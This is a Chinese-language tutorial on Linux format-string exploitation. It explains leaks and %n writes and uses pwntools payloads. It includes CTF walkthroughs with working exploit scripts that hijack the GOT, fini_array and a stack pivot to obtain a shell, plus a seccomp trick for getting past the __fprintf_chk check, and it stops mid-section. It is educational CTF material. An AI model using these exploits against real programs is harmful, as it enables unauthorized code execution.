linux 格式化字符串利用

sky123

基础知识

常见格式化字符串函数

函数 基本介绍
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到stdout
vfprintf 根据参数列表格式化输出到FILE流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串

常用格式化字符串形式

1
%[parameter][flags][field width][.precision][length]type
  • parametern$ ,获取格式化字符串中的指定第 n 个参数
  • flags:在 width 设置后指定可以用来作为填充的内容之类的内容
  • field width:输出的最小宽度
  • precision:输出的最大长度
  • length:输出的长度
    • hh:输出一个字节
    • h:输出一个双字节
  • type
    • d/i:有符号整数
    • u:无符号整数
    • x/X:16 进制
    • o:8 进制
    • s:字符串指针指向的字符串
    • cchar 类型单个字符
    • pvoid * 型,输出对应变量的值。例如 printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
      • hhn:写 1 字节
      • hn:写 2 字节
      • n:写 4 字节
      • ln:32 位写 4 字节,64 位写 8 字节
      • lln:写 8 字节

原理验证

示例程序:

1
2
3
4
5
6
7
#include<stdio.h>

int main() {
char s[100] = "aaaa.%p.%p.%p.%p.%p.%p.%p";
printf(s);
return 0;
}

32位

编译命令:

1
gcc test.c -g -m32 -o test

输出结果:

1
aaaa.0x20.(nil).0x565561c5.(nil).(nil).0x61616161.0x2e70252e

栈结构:

00:0000│ esp 0xffffd030 —▸ 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│-094 0xffffd034 ◂— 0x20 /* ' ' */
02:0008│-090 0xffffd038 ◂— 0
03:000c│-08c 0xffffd03c —▸ 0x565561c5 (main+24) ◂— add ebx, 0x2e0f
04:0010│-088 0xffffd040 ◂— 0
05:0014│-084 0xffffd044 ◂— 0
06:0018│ eax 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
07:001c│-07c 0xffffd04c ◂— '.%p.%p.%p.%p.%p.%p.%p'

自上而下依次是参数 0~6,参数 0 为格式化字符串地址,而格式化字符串前 4 字节又作为参数 6(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。

fmt_str32

64位

编译命令:

1
gcc test.c -g -m64 -o test

输出结果:

1
aaaa.0x7fffffffde79.(nil).0x1.(nil).0x7fffffffdd28.0x2e70252e61616161.0x70252e70252e7025

寄存器:

*RAX  0x6b
 RBX  0
*RCX  1
*RDX  0
*RDI  0x7fffffffd900 —▸ 0x7ffff7c62050 (funlockfile) ◂— endbr64 
*RSI  0x7fffffffde79 ◂— 0
*R8   0
*R9   0x7fffffffdd28 ◂— '70252e70252e7025'
*R10  0
*R11  0x70252e70252e7025 ('%p.%p.%p')
 R12  0x7fffffffdfe8 —▸ 0x7fffffffe368 ◂— '/home/sky123/Desktop/t'
 R13  0x555555555169 (main) ◂— endbr64 
 R14  0x555555557db8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555120 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffded0 ◂— 1
 RSP  0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
*RIP  0x55555555520f (main+166) ◂— mov eax, 0

栈结构:

00:0000│ rsp   0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│-068   0x7fffffffde68 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│-060   0x7fffffffde70 ◂— '.%p.%p.%p'
03:0018│ rsi-1 0x7fffffffde78 ◂— 0x70 /* 'p' */
04:0020│-050   0x7fffffffde80 ◂— 0
... ↓          3 skipped

由于 64 位程序先使用 rdirsirdxrcxr8r9 寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,第一个参数是格式化字符串指针。因此前 5 个格式化字符串参数对应的输出为寄存器中的值,格式化字符串前 8 个字节作为参数 6

fmt_str64

泄露内存

泄露栈变量内存

泄露栈变量的值

对于 printf 来说获取栈中被视为第 n 个参数的值可以用 %n$x%n$p)来泄露。

注意

  • %x 其实只是 %d 的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p 和系统位数关联没有问题,因此建议用 %p
  • 这里的 n 表示会被格式化字符串处理的参数中的第几个(从 1 开始数),例如在 amd64 架构下, snprintf(buf, 0x100, input)input 是可控输入。那么:
    • 格式化字符串的参数是从 input 之后开始数的,也就是说存放在 rcxsnprintf 的第 4 个参数被认为是格式化字符串的第 1 个参数。而位于栈顶的参数被认为是第 4 个参数。
    • 如果此时格式化字符串本体 input 存放在距离栈顶偏移 0x530 的位置上,那么就被认为是第 0x530/8 + 4 = 170 个参数。
  • 对于 n = 1 的情况直接写 %1$p 是个无效的格式化字符串,此时格式化字符串函数通常会将其当做普通字符串输出,因此要特判 n = 1 的情况位 %p

泄露栈变量对应对应地址的内容

对于 printf 来说获取栈中被视为第 n 个参数指向的地址处的值可以用 %n$s 泄露。

泄露任意地址内存

获取地址 addr 处的值(addr 为第 k 个参数):addr%k$s

注意

  • 实际情况(尤其是 64 位下)addr 地址的数字长度通常不够机器字长,高位会填充 0,因此会造成格式化字符串的 0 截断导致后面的格式化字符串本体不能被格式化字符串函数解析。为了应对这种情况可以把 addr 放到格式化字符串的后面。
  • 格式化字符串中的地址 addr 在栈中可能不关于机器字长对齐,此时需要在地址前填充一些数据确保其能够对齐。

覆盖内存

覆盖内存的原理是 %k$n 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。

注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。

pwntools生成payload

对于格式化字符串payload,pwntools也提供了一个可以直接使用的类 Fmtstr,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html。

其中 fmtstr_payload 会根据给定参数生成载荷。它可以为 32 位或 64 位架构生成载荷。地址的大小取决于 context.bits

1
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')→ str[source]
  • **offset (int)**:格式化字符串算作第几个参数。
    • 例如在 amd64 架构下, snprintf(buf, 0x100, input)input 是可控输入。那么如果此时格式化字符串本体 input 存放在距离栈顶偏移 0x530 的位置上,那么就被认为是第 0x530/8 + 4 = 170 个参数。
    • 如果格式化字符串本体在栈上没有按照机器字长对齐需要在前面手动在前面填充字符确保对齐。
  • **writes (dict)**:包含要写入地址和写入的值的字典,例如 {addr1: value1, addr2: value2}
  • **numbwritten (int, 可选)**:格式化字符串函数已输出的字节数。
  • **write_size (str, 可选)**:必须是 'byte''short''int'。指定是按字节、按短整数还是按整数写入(对应 %hhn%hn%n),默认值为 'byte'
  • overflows (int, 可选):允许多少额外的溢出(按大小 sz)以减少格式字符串的长度。这个参数是格式化字符串长度输出量之间的权衡:较大的 overflows 值会生成较短的格式字符串,但在运行时会生成更多的输出。
  • **strategy (str, 可选)**:可以是 'fast''small'。默认值为 'small',当有多个写操作时可以使用 'fast'
  • **no_dollars (bool, 可选)**:是否生成不带 $ 符号的载荷。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
context.clear(arch='amd64')
payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
print(payload)
# 输出: b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
print(payload)
# 输出: b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
print(payload)
# 输出: b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(6, {0x8: 0x55d15d2004a0}, badbytes=b'\n')
print(payload)
# 输出: b'%1184c%14$lln%49c%15$hhn%6963c%16$hn%81c%17$hhn%8c%18$hhnaaaabaa\x08\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00'

context.clear(arch='i386')
payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
print(payload)
# 输出: b'%322419390c%5$na\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
print(payload)
# 输出: b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
print(payload)
# 输出: b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
print(payload)
# 输出: b'c%3$naaa\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
print(payload)
# 输出: b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'

payload = fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True)
print(payload)
# 输出: b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\x00cccc=@@\x00cccc?@@\x00cccc<@@\x00ccccK@@\x00ccccJ@@\x00ccccH@@\x00'

payload = fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True)
print(payload)
# 输出: b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\x00ccccI@@\x00ccccK@@\x00ccccJ@@\x00'

手动构造payload

覆盖小数字

对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。

以数字2为例:aa%k$n[padding][addr]

覆盖大数字

直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn按字节写或hn按双字写。

hhn 写入 32bit 数为例,payload 形式为:[addr][addr+1][addr+2][addr+3]%(val1)c%k$hhn%(val2-val1)c%(k+1)$hhn%(val3-(val2-val1))c%(k+2)$hhn%(val4-(val3-(val2-val1)))c%(k+3)$hhn

当然如果地址有 0 截断需要把地址放到后面,不过此时要考虑地址对齐。

例题:ciscn_2019_sw_1

附件下载链接

保护情况:

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

主程序典型的格式化字符串漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}


init_arrayfini_array 中存放的函数指针分别在加载和结束时依次调用,且仅在 RELRONO RELRO 时可以修改。为了多次利用格式化字符串漏洞,需要将 fini_array 修改为 main 函数地址。
第一次执行 main 函数将 fini_array 修改为 main 函数地址,且将 printf@got 修改为 system@plt

名称 地址
fini_array 0x0804979C
main 0x08048534
printf@got 0x0804989C
system@plt 0x080483D0

payload 为:

1
2
3
4
5
6
payload = p32(fini_array+2) + p32(printf_got+2) 
payload += p32(printf_got) + p32(fini_array)
payload += "%"+str(0x0804-0x10)+"c" + "%4$hn"
payload += "%5$hn"
payload += "%"+str(0x83D0-0x0804)+"c" + "%6$hn"
payload += "%"+str(0x8534-0x83D0)+"c" + "%7$hn"

第二次执行 main 函数 发送 \bin\sh 获取 shell

堆上格式化字符串通用解法

例题:2022 Midnight Sun CTF speed6

附件下载链接

存在一个堆上格式化字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int vuln()
{
char *buf; // [esp+8h] [ebp-10h]
unsigned int canary; // [esp+Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
buf = (char *)malloc(0x100u);
printf("f5b: ");
fgets(buf, 0x100, stdin);
printf(buf);
free(buf);
return __readgsdword(0x14u) ^ canary;
}

main 函数循环调用 call_vuln 函数,而 call_vuln 函数经过多层函数调用最终调用到 vuln 函数。

1
2
3
4
5
6
7
8
void __cdecl __noreturn main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
banner();
while ( 1 )
call_vuln();
}

首先通过格式化字符串漏洞我们可以泄露栈地址和 libc 基址。

之后考虑构造任意地址写原语。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。

我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语

由于我们有了栈上相对地址写原语,因此可以进一步构造任意地址写原语

有了任意地址读写后就考虑如何劫持程序执行流程。

由于格式化字符串函数在一个死循环里面且格式化字符串漏洞无法再一次循环中写入完整地址,因此不能通过直接栈上写 ROP 的方式劫持程序执行流程。

但是由于本题的 RELRO 保护为 Partial RELRO ,可以改 got 表,并且开启 canary 保护,因此我们可以考虑修改 __stack_chk_fail@got ,然后再修改 canary 调用 __stack_chk_fail 函数劫持程序执行流程。

最直接的方法是在 __stack_chk_fail@got 上写 one_gadget 。不过这里有一个更通用的方法,那就是通过栈迁移到栈上的 ROP 完成 get shell 。

我们利用 IDAPython 脚本在 libc 中搜索合适的栈迁移 gadget 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import idc
from idaapi import *
import idautils

start_ea = None
end_ea = None
max_len = 10
class Gadget():
def __init__(self, addr, asms, val):
self.addr = addr
self.asms = asms
self.val = val


if __name__ == '__main__':
for seg in idautils.Segments():
if idc.get_segm_name(seg) == '.text':
start_ea = idc.get_segm_start(seg)
end_ea = idc.get_segm_end(seg)
break
assert start_ea != None
fp = open("rop.txt", "w")
gadgets = []
i = start_ea
while i < end_ea:
asm = idc.generate_disasm_line(i, 0).split(";")[0]
if asm.startswith("add esp, "):
asms = [asm.replace(" ", " ")]
val = idc.get_operand_value(i, 1)
j = i + get_item_size(i)
while j < end_ea:
asm = idc.generate_disasm_line(j, 0).split(";")[0]
asms.append(asm.replace(" ", " "))
if len(asms) > max_len: break
if "rsp" in asm or "esp" in asm or "leave" in asm or "call" in asm: break
if print_insn_mnem(j) == "push": val -= 4
if print_insn_mnem(j) == "pop": val += 4
if print_insn_mnem(j) == "retn":
gadgets.append(Gadget(i, asms, val))
gadget = Gadget(i, asms, val)
print("val: " + hex(gadget.val))
print(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";")
j += get_item_size(j)
break
j += get_item_size(j)
i = j
else:
i += get_item_size(i)
gadgets = sorted(gadgets, key=lambda gadget: gadget.val)
print("_________________________________________")
print(len(gadgets))
for gadget in gadgets:
fp.write("val: " + hex(gadget.val) + "\n")
fp.write(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";\n")
fp.close()

最终找到了一个可以将 esp 加 0x100 的 gadget 。

1
0xa08c9 : add esp, 100h; sub eax, edx; retn;

我们只需要再栈迁移的目标地址上利用栈上相对地址写原语写入 ROP 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

elf = ELF("./speed6_patch")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])

n16 = lambda x: (x + 0x10000) & 0xFFFF

p.sendlineafter("f5b: ", "%2$p||%37$p")
p.recvuntil("0x")
libc.address = int(p.recvuntil("||", drop=True), 16) - libc.sym['_IO_2_1_stdin_']
log.success("libc base: " + hex(libc.address))
stack_addr = int(p.recvuntil("\n", drop=True), 16) - 0x55 * 4
log.success("stack: " + hex(stack_addr))


def arbitrary_offset_write(offset, value):
assert (stack_addr & 0xFFFF) + offset < (1 << 16) and value < (1 << 16)
p.sendlineafter('f5b: ', '%{}c%37$hn'.format((stack_addr + offset) & 0xFFFF))
p.sendlineafter('f5b: ', '%{}c%85$hn'.format(value))


def arbitrary_address_write(address, value):
assert address < (1 << 32) and value < (1 << 16)
arbitrary_offset_write(0x30 * 4, address & 0xFFFF)
arbitrary_offset_write((0x30 * 4 + 2) & 0xFFFF, address >> 16)
p.sendlineafter('f5b: ', '%{}c%48$hn'.format(value & 0xFFFF))


add_esp_ret = libc.search(asm('add esp, 0x100; sub eax, edx; ret;'), executable=True).next()
arbitrary_address_write(elf.got['__stack_chk_fail'], add_esp_ret & 0xFFFF)
arbitrary_address_write(elf.got['__stack_chk_fail'] + 2, add_esp_ret >> 16)

system_addr = libc.sym['system']
bin_sh_addr = libc.search('/bin/sh').next()
arbitrary_offset_write(0x43 * 4, system_addr & 0xFFFF)
arbitrary_offset_write(0x43 * 4 + 2, system_addr >> 16)
arbitrary_offset_write(0x45 * 4, bin_sh_addr & 0xFFFF)
arbitrary_offset_write(0x45 * 4 + 2, bin_sh_addr >> 16)

# gdb.attach(p, 'b *{}'.format(hex(add_esp_ret)))
# pause()
arbitrary_offset_write(0x1c, 0x1) # change canary to call the __stack_chk_fail

p.interactive()

例题:2019 xman format

附件下载链接

同样是格式化字符串。

1
2
3
4
5
6
7
8
9
void __cdecl sub_8048651()
{
char *buf; // [esp+Ch] [ebp-Ch]

puts("...");
buf = (char *)malloc(0x100u);
read(0, buf, 0x37u);
call_vuln(buf);
}

但与上一题不同的是这次的格式化字符串是离线操作,不能泄露地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __cdecl vuln(char *buf)
{
char *v1; // eax
const char *format; // [esp+Ch] [ebp-Ch]

puts("...");
v1 = strtok(buf, "|");
printf(v1);
while ( 1 )
{
format = strtok(0, "|");
if ( !format )
break;
printf(format);
}
}

另外还有一个后门函数。

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

start = lambda: remote("node4.buuoj.cn", 25559) # process([elf.path])

while True:
global p
try:
p = start()
# gdb.attach(p, "b *0x080485F6\nb *0x8048606")
# pause()
payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
p.sendlineafter('...', payload)
sleep(1)
p.sendline('cat flag')
p.recvline_contains('flag', timeout=1)
p.interactive()
except KeyboardInterrupt:
p.close()
exit(0)
except:
p.close()

fprintf_chk 绕过

fprintf_chk 执行 %n 会报错,检测逻辑(glibc2.23)。

1
2
3
4
5
6
7
8
9
LABEL(form_number) : if (s->_flags2 & _IO_FLAGS2_FORTIFY) {                                     \
if (!readonly_format) { \
extern int __readonly_area(const void *, size_t) \
attribute_hidden; \
readonly_format = __readonly_area(format, ((STR_LEN(format) + 1) * sizeof(CHAR_T))); \
} \
if (readonly_format < 0) \
__libc_fatal("*** %n in writable segment detected ***\n"); \
}

__readonly_area 会通过 fopen 打开 /proc/self/maps 来判断 format 是否是只读段。也就是说只有 format 的内存只读的时候才能有 %n ,从而避免了通过修改 format 实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __readonly_area(const char *ptr, size_t size) {
const void *ptr_end = ptr + size;

FILE *fp = fopen("/proc/self/maps", "rce");
if (fp == NULL) {
/* It is the system administrator's choice to not have /proc
available to this process (e.g., because it runs in a chroot
environment. Don't fail in this case. */
if (errno == ENOENT
/* The kernel has a bug in that a process is denied access
to the /proc filesystem if it is set[ug]id. There has
been no willingness to change this in the kernel so
far. */
|| errno == EACCES)
return 1;
return -1;
}

/* We need no locking. */
__fsetlocking(fp, FSETLOCKING_BYCALLER);

char *line = NULL;
size_t linelen = 0;

while (!feof_unlocked(fp)) {
if (_IO_getdelim(&line, &linelen, '\n', fp) <= 0)
break;

char *p;
uintptr_t from = strtoul(line, &p, 16);

if (p == line || *p++ != '-')
break;

char *q;
uintptr_t to = strtoul(p, &q, 16);

if (q == p || *q++ != ' ')
break;

if (from < (uintptr_t) ptr_end && to > (uintptr_t) ptr) {
/* Found an entry that at least partially covers the area. */
if (*q++ != 'r' || *q++ != '-')
break;

if (from <= (uintptr_t) ptr && to >= (uintptr_t) ptr_end) {
size = 0;
break;
} else if (from <= (uintptr_t) ptr)
size -= to - (uintptr_t) ptr;
else if (to >= (uintptr_t) ptr_end)
size -= (uintptr_t) ptr_end - from;
else
size -= to - from;

if (!size)
break;
}
}

fclose(fp);
free(line);

/* If the whole area between ptr and ptr_end is covered by read-only
VMAs, return 1. Otherwise return -1. */
return size == 0 ? 1 : -1;
}

结构体 __IO_FILE 利用 _fileno 存储该文件的文件描述符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_IO_FILE * _IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot, int read_write, int is32not64) {
int fdesc;
#ifdef _LIBC
if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
fdesc = open_not_cancel (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
else
fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
fdesc = open (filename, posix_mode, prot);
#endif
if (fdesc < 0)
return NULL;
fp->_fileno = fdesc;
_IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS)) == (_IO_IS_APPENDING | _IO_NO_READS)) {
_IO_off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
if (new_pos == _IO_pos_BAD && errno != ESPIPE) {
close_not_cancel (fdesc);
return NULL;
}
}
_IO_link_in ((struct _IO_FILE_plus *) fp);
return fp;
}
libc_hidden_def (_IO_file_open)

如果控制 seccompopen 函数返回 0 就会使 __readonly_area 程序从标志输入中读取数据进行判断,此时只需要输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm 即可绕过 %n 检测。

例题:2019 中国技能大赛 pwn2

附件下载链接

edit 函数可以编辑 rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 edit()
{
int v1; // [rsp+0h] [rbp-18h] BYREF
int v2; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
puts("1.modify the rule.");
puts("2.modify the chunk.");
puts("input yout choice: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("input the size");
v2 = 0;
__isoc99_scanf("%d", &v2);
if ( (unsigned int)(v2 - 1) <= 0xDF )
{
puts("input your content");
read(0, rule, v2);
}
}
else if ( v1 == 2 )
{
puts("It's no use.");
}
return __readfsqword(0x28u) ^ v3;
}

set 功能可以把 rule 设应用到沙箱。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 set()
{
__int16 v1; // [rsp+0h] [rbp-28h] BYREF
void *v2; // [rsp+8h] [rbp-20h]
unsigned __int64 v3; // [rsp+18h] [rbp-10h]

v3 = __readfsqword(0x28u);
prctl(38, 1LL, 0LL, 0LL, 0LL);
v1 = 11;
v2 = rule;
prctl(22, 2LL, &v1);
return __readfsqword(0x28u) ^ v3;
}

add 功能有 __fprintf_chk 的格式化字符串漏洞,并且如果 random_num 的值为 0x30 则可以泄露基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
unsigned __int64 leak_libc()
{
int v0; // eax
int v1; // ebp
_BYTE v3[1288]; // [rsp+0h] [rbp-528h] BYREF
unsigned __int64 v4; // [rsp+508h] [rbp-20h]

v4 = __readfsqword(0x28u);
memset(v3, 0, 0x500uLL);
v0 = open("/proc/self/maps", 0x80000);
if ( !v0 )
exit(0);
v1 = v0;
read(v0, v3, 0x500uLL);
write(1, v3, 0x500uLL);
close(v1);
puts("\n");
return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 add()
{
int v1; // [rsp+4h] [rbp-114h] BYREF
char src[4]; // [rsp+8h] [rbp-110h] BYREF
int v3; // [rsp+Ch] [rbp-10Ch]
__int64 v4; // [rsp+100h] [rbp-18h]
unsigned __int64 v5; // [rsp+108h] [rbp-10h]

v5 = __readfsqword(0x28u);
v3 = 0;
puts("input the size");
__isoc99_scanf("%d", &v1);
global_size = v1;
if ( v1 <= 0 )
{
puts("invalid size");
}
else
{
malloc_node = calloc(v1, 1uLL);
puts("input your content: ");
__read_chk(0LL, (__int64)src, v1, 240LL);
memcpy(malloc_node, src, v1);
__fprintf_chk(stderr, 1LL, src);
__printf_chk(1LL, "The random_num+110 is : %d\n", random_num);
if ( random_num == 0x30 )
leak_libc();
}
return __readfsqword(0x28u) ^ v4;
}

另外 edit 被 patch 过,在函数开头会向栈中 push 全局变量 random_num 的地址,不难想到 random_num 可以被格式化字符串漏洞修改成 0x30 。

1
2
3
4
5
6
.text:0000000000400DCC push    offset random_num
.text:0000000000400DD1 nop
.text:0000000000400DD2 nop
.text:0000000000400DD3 nop
.text:0000000000400DD4 nop
.text:0000000000400DD5 nop

首先编写一个沙箱规则使得系统调用 open 在打开 /proc/self/maps 时会返回 0 。

我们可以通过 open 的第一个参数最低字节是否为 \x7c 来判断打开的是不是 /proc/self/maps

另外注意沙箱规则中的 ERRNO 是系统调用返回的错误码,这个与直接终止进程的 KILL 是不同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

利用 seccomp-tools 生成规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -   
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0010
0005: 0x15 0x00 0x03 0x00000002 if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode)
0007: 0x54 0x00 0x00 0x000000ff A &= 0xff
0008: 0x15 0x01 0x00 0x0000007c if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00050000 return ERRNO(0)

在调用 __fprintf_chkrandom_num 位于第 6 个参数,而格式化字符串位于第 2 个参数,因此构造格式化字符串 %16p%16p%16p%ln 可以输出 0x30 个字符且 %ln 恰好对应 random_num 。这样就可以将 random_num 修改为 0x30 实现 libc 基址泄露。另外注意由于沙箱规则使得 open 打开 /proc/self/maps 时会返回 0 ,因此需要在调用 __fprintf_chk 时输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm 绕过__fprintf_chk 的检查。

后续按照同样的方法修改 free@gotsystem 函数地址完成 getshell 。

fini_array 不可写绕过

1
2
3
4
5
6
7
8
9
if (l->l_info[DT_FINI_ARRAY] != NULL) {
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
//
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
//可以劫持
//先调用array[i],再调用array[i-1]
}

调用的汇编代码如下(ubuntu18.04).

1
2
3
0x7ff6e56accff <_dl_fini+447>    lea    r15, [rcx + rdx*8]
;...
0x7ff6e56acd10 <_dl_fini+464> call qword ptr [r15]

rdx 固定为 0 ,rcx 来自下面的代码片段。

1
2
3
4
5
0x7ff6e56accda <_dl_fini+410>    mov    r15, qword ptr [rax + 8]      <_DYNAMIC+88>
0x7ff6e56accde <_dl_fini+414> mov rax, qword ptr [r13 + 0x120] <_DYNAMIC+80>
